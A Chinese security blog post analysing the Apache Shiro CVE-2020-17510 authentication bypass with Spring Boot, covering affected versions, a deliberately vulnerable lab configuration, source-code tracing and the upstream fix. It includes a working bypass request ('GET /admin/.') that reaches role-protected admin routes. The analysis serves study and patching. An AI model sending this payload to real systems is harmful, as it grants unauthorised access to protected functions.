freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shiro CVE-2020-17510 路径绕过
2025-01-21 14:54:33
所属地 广东省

漏洞描述

Apache Shiro before 1.7.0, when using Apache Shiro with Spring, a specially crafted HTTP request may cause an authentication bypass.

If you are NOT using Shiro’s Spring Boot Starter (shiro-spring-boot-web-starter), you must configure add the ShiroRequestMappingConfigautoconfiguration to your applicationor configure the equivalent manually. [1]

漏洞条件

  • shiro < 1.7.0

  • springboot > 2.3.0 RELEASE

  • 要使用resful风格的路径

漏洞复现

环境

基础配置

shiro: 1.6.0
spring-boot: 2.7.4

shiro配置:

@Bean
    ShiroFilterFactoryBean getShiroFilterFactoryBean(DefaultWebSecurityManager securityManager) {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager);
        bean.setLoginUrl("/login");
        bean.setSuccessUrl("/loginSuccess");
        bean.setUnauthorizedUrl("/unauthorized");
        LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
        //url --> filter1,filter2....
        map.put("/print", "authc, perms[printer:print]");
        map.put("/query", "authc, perms[printer:query]");
        map.put("/admin/*", "authc, roles[admin]");  //不可以是"/admin/**"
        map.put("/login","authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }

controller:

@GetMapping("/admin/{param}")
    public String adminInfo(@PathVariable String param) {
        if(param == null){
            return "you are admin";
        }
        return "Admin Info: " + param;
    }

测试

payload

GET /admin/. HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

结果:
image

漏洞分析

漏洞入口:PathMatchingFilterChainResolver.getChain()

image

源码:

public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
        FilterChainManager filterChainManager = getFilterChainManager();
        if (!filterChainManager.hasChains()) {
            return null;
        }
    
		//漏洞点
        String requestURI = getPathWithinApplication(request);
		
     	//去除末尾的 “/”
        if(requestURI != null && !DEFAULT_PATH_SEPARATOR.equals(requestURI)
                && requestURI.endsWith(DEFAULT_PATH_SEPARATOR)) {
            requestURI = requestURI.substring(0, requestURI.length() - 1);
        }
        
        for (String pathPattern : filterChainManager.getChainNames()) {
            //去除末尾的 “/”
            if (pathPattern != null && !DEFAULT_PATH_SEPARATOR.equals(pathPattern)
                    && pathPattern.endsWith(DEFAULT_PATH_SEPARATOR)) {
                pathPattern = pathPattern.substring(0, pathPattern.length() - 1);
            }

            // If the path does match, then pass on to the subclass implementation for specific checks:
            if (pathMatches(pathPattern, requestURI)) {
                if (log.isTraceEnabled()) {
                    log.trace("省略");
                }
                return filterChainManager.proxy(originalChain, pathPattern);
            }
        }

        return null;
    }

进入漏洞点

image

image

末尾多出来的路径不明白的可以看同专辑中的CVE-2020-13933

结果毫无疑问,/amdin匹配到/**

但是"/admin"这个路径对InvalidRequestFilter的核心算法而言是合法的,所以会被shiro放行:

//InvalidRequestFilter::
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) throws Exception {
        String uri = WebUtils.toHttp(request).getRequestURI();
        return !containsSemicolon(uri)
            && !containsBackslash(uri)
            && !containsNonAsciiCharacters(uri);
    }

于是来到spring的路径匹配入口:AbstractHandlerMethodMapping.getHandlerInternal(...)

protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
		String lookupPath = initLookupPath(request);
		this.mappingRegistry.acquireReadLock();
		try {
			HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request);
			return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null);
		}
		finally {
			this.mappingRegistry.releaseReadLock();
		}
	}

进入initLookupPath(request):
image

userPathPatterns() 默认为true;

返回:/admin/.

image

由于spring没有像shiro那样对像 带有/./..的路径进行规范化,导致最终匹配到了controller方法:

image

【注意】:点号是必须的:

image

结果测试 spring”/admin/“是匹配 “/admin”的但是不匹配“/admin/{param}”

补充

为什么要 springboot > 2.3.0 :

[2]

主要是因为springboot <= 2.3.0 RELEASE 路径匹配机制与后面版本有所不同。

以下源码全是springboot 2.3.0 RELEASE

函数入口:AbstractHandlerMethodMapping#getHandlerInternal

调试

uri: /admin/.

image

String lookupPath = getUrlPathHelper().getLookupPathForRequest(request);
public String getLookupPathForRequest(HttpServletRequest request) {
		// Always use full path within current servlet context?
    	//分支1
		if (this.alwaysUseFullPath) {
			return getPathWithinApplication(request);
		}
		// Else, use path within current servlet mapping if applicable
    	//分支2
		//一般进入这个分支
		String rest = getPathWithinServletMapping(request);
		if (!"".equals(rest)) {
			return rest;
		}
		else {
			return getPathWithinApplication(request);
		}
	}
  • 第一个分支是正常的:getPathWithinApplication

    public String getPathWithinApplication(HttpServletRequest request) {
    		String contextPath = getContextPath(request);
    		String requestUri = getRequestUri(request);
        	//去除匹配到的部分,返回剩余部分,忽略大小写,从而返回相对路径
    		String path = getRemainingPath(requestUri, contextPath, true);
    		if (path != null) {
    			// Normal case: URI contains context path.
    			return (StringUtils.hasText(path) ? path : "/");
    		}
    		else {
    			return requestUri;
    		}
    	}
    
    public String getRequestUri(HttpServletRequest request) {
    		String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE);
    		if (uri == null) {
    			uri = request.getRequestURI();
    		}
    		return decodeAndCleanUriString(request, uri);
    	}
    
    private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    		//先去除分号,
    		uri = removeSemicolonContent(uri);
        	//再解码
    		uri = decodeRequestString(request, uri);
        	//然后将`//`替换成`/` 
    		uri = getSanitizedPath(uri);
    		return uri;
    	}
    
  • 但是第二个分支会出问题:

image

getServletPath()底层调用request.getServletPath(),其会对/../.进行规范化

getRemainingPath(...)是去除匹配的部分,返回其余的部分

当然如果只走第一分支,那该漏洞在springboot <= 2.3.0 RELEASE 也能利用,这需要相关配置使得this.alwaysUseFullPath返回true.

无论是哪个分支对上一个漏洞CVE-2020-13933都没有影响

漏洞修复

springboot > 2.3.0 RELEASE:

protected String initLookupPath(HttpServletRequest request) {
		if (usesPathPatterns()) {
			request.removeAttribute(UrlPathHelper.PATH_ATTRIBUTE);
			RequestPath requestPath = ServletRequestPathUtils.getParsedRequestPath(request);
			String lookupPath = requestPath.pathWithinApplication().value();
			return UrlPathHelper.defaultInstance.removeSemicolonContent(lookupPath);
		}
		else {
            //进入这个分支需要配置才会生效
            //底层与spring 2.3.0 RELEASE一样
			return getUrlPathHelper().resolveAndCacheLookupPath(request);
		}
	}
public String resolveAndCacheLookupPath(HttpServletRequest request) {
    	//与spring <= 2.3.0 RELEASE一样
		String lookupPath = getLookupPathForRequest(request);
		request.setAttribute(PATH_ATTRIBUTE, lookupPath);
		return lookupPath;
	}
public String getLookupPathForRequest(HttpServletRequest request) {
		// Always use full path within current servlet context?
    	//分支1
		if (this.alwaysUseFullPath) {
			return getPathWithinApplication(request);
		}
		// Else, use path within current servlet mapping if applicable
    	//分支2
		//一般进入这个分支
		String rest = getPathWithinServletMapping(request);
		if (!"".equals(rest)) {
			return rest;
		}
		else {
			return getPathWithinApplication(request);
		}
	}

修复:增加了一个类,ShiroUrlPathHelper.java

image

很明显,将路径匹配规则,改成shiro的WebUtils.getPathWithinApplication(request);如此shiro与spring获取到的路径就完全一致了。

【注意】:需要额外配置才能生效(也就是走initLookupPath()中的else分支):

Reference


[1] Security Reports | Apache Shiro

[2]shiro/support/spring/src/main/java/org/apache/shiro/spring/web/config/ShiroRequestMappingConfig.java at shiro-root-1.7.0 · apache/shiro

[3] Shiro 历史漏洞分析 - 先知社区

# 漏洞分析 # Shiro # Java代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录